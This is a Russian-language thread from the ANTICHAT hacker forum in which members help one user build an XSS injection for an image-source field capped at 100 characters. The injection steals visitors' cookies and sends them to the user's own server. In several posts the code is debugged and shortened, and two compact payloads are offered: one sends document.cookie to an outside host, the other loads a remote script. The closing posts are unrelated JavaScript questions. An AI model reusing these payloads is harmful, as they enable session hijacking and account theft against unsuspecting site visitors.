HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.12.2008, 00:41
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
С нами: 9840758

Репутация: 808


По умолчанию

holden321,

Надо сделать следующее:
1) Отправлять правильный заголовок Content-Type
2) Не забывать кавычки вокруг индексов ( $_GET['a'] ), хотя php это терпит
3) Обратить внимание на название темы
 
Ответить с цитированием

  #2  
Старый 16.12.2008, 00:55
holden321
Новичок
Регистрация: 31.10.2008
Сообщений: 15
С нами: 9224816

Репутация: 1
По умолчанию

astrologer, повторю вопрос:
есть такой код

<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>

Firefox и Opera почемуто даже не пытается загрузить картинку по ссылке (q.src)
а IE и Chrome загружает картинку влет, ну и конечно куки передаются

теперь по теме ?

а програмку на php привел, потомучто предложили её изменить, ну чтобы всем видно было что тама все ок и вопще до нее дело даже не доходит
 
Ответить с цитированием

  #3  
Старый 16.12.2008, 03:10
ntldr
Постоянный
Регистрация: 04.12.2007
Сообщений: 424
С нами: 9702986

Репутация: 479
По умолчанию

Цитата:
Сообщение от holden321  
<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>
q - это номер(id) элемента. а q.src это обращение к объекту q.
Как минимум -

<script language="JavaScript">
q = document.getElementById("q");
q.src="mysite.php?a="+document.cookie;</script>

language на всякий случай
 
Ответить с цитированием

  #4  
Старый 16.12.2008, 11:58
holden321
Новичок
Регистрация: 31.10.2008
Сообщений: 15
С нами: 9224816

Репутация: 1
По умолчанию

спасибо ntldr, но к сожалению слишком длинный скрипт получается, ограничение мешает.
может тогда подскажите как лучше сделать ?
вот есть такой код на странице:
PHP код:
<img src="ССЫЛКА" alt="" /> 
вместо ссылки можно подставить что угодно, но не более 100 символов

сейчас я подставляю:
"id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt=" // 87 символов
// получается
<img src=""id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt="" alt="" />

как я уже сказал, работает, но не во всех броузерах
может можно по другому как нибудь сделать
 
Ответить с цитированием

  #5  
Старый 16.12.2008, 12:33
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
С нами: 9840758

Репутация: 808


По умолчанию

Код:
"><script>(new Image).src='//example.com?'+document.cookie</script><br k="
Код:
"><script src="//example.com/script.js"></script><br k="

Последний раз редактировалось astrologer; 16.12.2008 в 12:35..
 
Ответить с цитированием

  #6  
Старый 16.12.2008, 14:28
holden321
Новичок
Регистрация: 31.10.2008
Сообщений: 15
С нами: 9224816

Репутация: 1
По умолчанию

astrologer, первый код не работает, не знаю почему,
а со вторым кодом все ок
только в опере не загружается, думаю может запрещена такая подгрузка сриптов или не правильный код в js:
document.getElementById('q').src='http://xx.x.xx.xx/f/z.php?a='+document.cookie+'&e='+Math.random();
но мне важнее чтобы в файрфоксе работало.
спасибо
всем
 
Ответить с цитированием

  #7  
Старый 19.12.2008, 00:05
Architek86
Познающий
Регистрация: 20.02.2008
Сообщений: 82
С нами: 9590577

Репутация: 2
По умолчанию

использую mootools для определения координат элемента.

Код:
<script>
window.addEvent('domready',function(){
position = $('footer').getPosition();
alert(position);
})
</script>
Но почему то выводит "[object Object]", что это значит? Может из-за того, что $('footer') - это div?
 
Ответить с цитированием

  #8  
Старый 19.12.2008, 00:16
ntldr
Постоянный
Регистрация: 04.12.2007
Сообщений: 424
С нами: 9702986

Репутация: 479
По умолчанию

Цитата:
Сообщение от Architek86  
использую mootools для определения координат элемента.

Код:
<script>
window.addEvent('domready',function(){
position = $('footer').getPosition();
alert(position);
})
</script>
Но почему то выводит "[object Object]", что это значит? Может из-за того, что $('footer') - это div?
может потому, что position это обьект, а обращаться в таком случае надо к его свойствам. имхо (с mootools мало работал, уважаю jquery)
 
Ответить с цитированием

  #9  
Старый 20.12.2008, 14:56
prescott
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
С нами: 9361826

Репутация: 115
По умолчанию

Цитата:
Сообщение от Architek86  
использую mootools для определения координат элемента.

Код:
<script>
window.addEvent('domready',function(){
position = $('footer').getPosition();
alert(position);
})
</script>
Но почему то выводит "[object Object]", что это значит? Может из-за того, что $('footer') - это div?
Код:
<script>
window.addEvent('domready',function(){
position = $('footer').getPosition();

alert(position.x + "|||" + position.y);
})
</script>
 
Ответить с цитированием

  #10  
Старый 22.12.2008, 17:21
aqqa
Banned
Регистрация: 12.07.2008
Сообщений: 206
С нами: 9384837

Репутация: 33
По умолчанию

Как реализовать загрузку файлов(картнок и тпрочей...) на сервак средствами AJAX?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Delphi]/[Pascal] Задай вопрос, получи ответ Isis С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 6762 17.06.2010 21:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.